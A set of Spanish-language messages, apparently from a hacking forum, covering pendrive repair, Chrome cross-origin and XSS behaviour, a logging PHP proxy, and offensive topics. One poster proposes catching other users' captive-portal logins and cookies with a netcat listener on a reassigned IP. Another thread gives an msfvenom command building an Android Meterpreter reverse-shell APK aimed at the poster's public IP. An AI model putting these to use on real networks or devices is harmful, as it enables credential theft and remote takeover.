Mensajes

Ampliando el comentario Engel Lex también está la posibilidad de que el virus esté destinado a una reproductor en concreto o más común a una versión específica de un reproductor concreto.

Un fallo de seguridad en el "lector" de .mp3 de un reproductor puede que permita escribir en memoria más alla de lo provisto pudiendo ejecutar código externo.

Eso de los gorros es prehistorico casi.

Hoy en día suelen ser red teams, blue teams, ciberdelincuentes, expertos en ciberseguridad(hackers/crackers).

Después tienes blackbox y whitebox que es pentest sin disponer del código imitando a un atacante real y whitebox que es pentest analizando también el código y la infrastructura desde el interior y con todas las herramientas.

Es posible que simplemente se corrompiese el formato del sistema de ficheros. Hay software para arreglarlo. Busca software de formato a medio nivel/formato a ceros.

Le das un formato a ceros y después un formato a ntfs o fat32 para que windows lo reconozca y ya lo puedes usar.

Si usas un software decente de formato a medio nivel te deja elegir la unidad y trabajar sobre ella aunque windows ni siquiera te pite o muestre el Pen.

La gente tira siempre los pens cuando se corrompen. Tengo un palé de pendrives y otras unidades que la gente tira porque tiene un formato que no les reconoce windows y funcionan perfecto.

Los únicos que rompen de verdad son los que les cae algún líquido, se llevan un golpe exageradamente fuerte, se desmontan, se doblan o vienen defectuosos de fábrica.

No tienes cojones a cargarte un pendrive a base de operaciones de escritura. Que se corrompa si es común.

Fijate este que viene con el backdoor de weevely, según lo miré rápidamente no viene con curl y no necesita ninguna dependencia...

B#

Tiene buena pinta, esta noche miro todo el código! Gracias

Eso es el filtro XSS de google chrome, probablemente el problema no sea que los usuarios le den en enviar al formulario, sino mas bien que no les aparece el formulario porque probablemente lo incrustaste con un xss:

https://developer.mozilla.org/es/docs/Web/HTTP/Headers/X-XSS-Protection

El filtro XSS lo quitaron de Chrome hace tiempo. Creo que hace 1 año o 2. Es más, Chrome es el único navegador comercial que me permite testear mis POC de XSS.

Me saltó también el otro día intentando precisamente saltarme una medida de seguridad del navegador de recursos cross origen. Tiene 2 medidas que me interesaba saltar. Una es la carga de archivos de sitios cruzados en canvas que conseguí saltármela y la otra es la de tener control completo sobre el código de una nueva pestaña/ventana/iframe que conseguí parcialmente.

Pero esto no tiene nada que ver, la página es original, no la toqué. El único cambio se produce en la red, ni en el navegador, ni en el contenido de la página... Super raro que me saltase no?

La seguridad de Chrome en este aspecto es aleatoria total.

Es para el tráfico http del navegador. Por ejemplo en vez de hacer https://foro.elhacker.net pueda hacer 127.0.0.1:8080/proxy.php?peticion=https://foro.elhacker.net

Ya lo tengo más o menos echo pero buscaba algo completo para no tener que cada vez que me encuentre un detalle tener que implementarlo yo.

Básicamente es para loggear el tráfico del navegador.

Busco un proxy para las peticiones que haga desde el navegador al php.
Hice uno a mano pero tengo que implementar un montón de cosas y me preguntaba si alguien lo habrá echo ya.

Estaba en una red y al conectarme salia un portal cautivo con un código como:

Código (html4strict) [Seleccionar] Expandir

<form method="post" action="<?= "$serverAddress"; ?>">
<input type="text" placeholder="user">
<input type="password" placeholder="password">
<input type="submit" value="login">
</form>

Todos los ordenadores de la red tienen el navegador abierto en esa página sin recargar.

Pongamos que la ip a la que apunta el form es 192.168.58.1:5432

Entonces el router se resetea y el DHCP reasigna las ips locales. Yo en mi PC en la misma red paso a tener la dirección 192.168.58.1 y decido abrir un un servidor:
netcat -l -k -v 192.168.58.1 5432

Todos esos ordenadores siguen teniendo la página sin recargar apuntando a esa dirección local.

Cuando los usuarios envian el form, yo me esperaba recibir todas las cookies, userAgents, usuarios y contraseñas de todas las personas que enviasen el form. Pero sorpresa, estos usuarios al darle a enviar el navegador detecta que no es el mismo servidor por lo que en vez de enviarme la petición y esperar una respuesta el Chrome abre about:blank#blocked

Puede forzar el reinicio y posterior reasignamiento de ips del DHCP para obtener la ip local que quiero. Es un ataque que se me ocurrió, no sé si tiene un nombre para poder profundizar en él?

Cómo Chrome detecta que este comportamiento es indeseado? No me lo esperaba en absoluto.

Perdón, esa parte fue un error mío en la publicación, pongo a metasploit a escuchar el mismo puerto que va en el apk. y sobre los puertos pues creo que sí, lo que sucede es que la empresa que me presta el servicio de internet bloquea las opciones que me dejan abrir puertos manualmente, por eso configuré mi ip local como DMZ y eso me funcionó por un tiempo, según entiendo lo que hace el DMZ es redireccionar las conexiones que llegan a mi router hacia mi ip local y abre los puertos automáticamente cuando es necesario(que alguien me corrija si me equivoco), y aunque mi DMZ está configurado correctamente no puedo realizar ataques fuera de red sino es con ngrok que abre un canal para poder hacer el ataque. Entonces, no sé si se debe a alguna configuración erronea en mi sistema operativo(kali linux) o a la instalación de otra herramienta.

La única herramienta que instalé en ese entonces fue NO-IP.

Espero que alguien pueda ayudarme con eso, ya que supongo que es algo cansino que se escriba en el foro únicamente por dudas, espero avanzar pronto en esto para poder realizar mis aportes  

Comprueba con netcat si te funciona correctamente la apertura y cierre de puertos.
Si no te funciona llama a tu ISP y dile que abriste los puertos y no te llegan los paquetes, que te habiliten abrir y cerrar puertos cuando consideres, si no te cambias de compañía.

Si pones tu equipo como DMZ lo expones a internet y si no tienes un firewall de internet a tu DMZ y otro firewall que evite conexiones de tu DMZ a tu red local estás totalmente expuesto.

Tienes los puertos del router abiertos?

Por lo que pones creas el apk apuntando al puerto 4444 y te pones en la escucha al 444.
Hay puertos externos y puertos internos. Tienes que abrir el puerto externo en la dirección que apunte el TCP reverso y abrir el interno hacia la máquina de tu red que está a la escucha.

Por comodidad puedes usar print working directory en lugar de poner la ruta manual.

msfvenom -p android/meterpreter/reverse_tcp  lhost=<mi ip publica>  lport=4444 R > pwd

Cuando sea así prueba con el netcat a la escucha en el puerto 4444.

A mi me van horribles las .apk generadas con msfvenom.